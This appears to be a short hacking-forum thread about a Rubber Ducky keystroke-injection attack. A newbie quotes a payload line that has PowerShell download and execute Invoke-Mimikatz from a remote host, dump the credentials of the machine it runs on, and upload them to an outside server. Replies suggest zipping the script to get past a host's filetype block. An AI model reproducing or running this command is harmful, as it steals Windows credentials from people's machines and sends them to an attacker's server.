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ps1 is just a text script. how do they "not" allow hosting of these? I can't see them blocking by filetype, but if so, put them in a zip, upload, done.

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Be patient with me I am a newbie. I am trying to use rubber ducky and the invoke mimikatz powershell script.\

REM Download and execute Invoke Mimikatz then upload the results
STRING powershell "IEX (New-Object Net.WebClient).DownloadString('http://darren.kitchen/im.ps1'); $output = Invoke-Mimikatz -DumpCreds; (New-Object Net.WebClient).UploadString('http://darren.kitchen/rx.php', $output)"


I assume download string downloads the file  im.ps1 from the http web site (not darrens of coarse) runs it and dumps results in file rx.php  and uploads it  webserver via http.

I set up a webpage on domain.com and tried to upload im.ps1 but could not, told not allowed. Poweshell file. That is wheree I am stuck. Any help appreciated.

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Ah, you'd be better off asking the Ducky section of the forum them.

As this is just general questions, and your question is more specific to the Ducky and powershell uploads.


As for your site that you are trying to upload to, sites don't generally just let anyone upload anything randomly. You'd need to setup a section on your site that allows something, in this case your script, to transfer files up to it.

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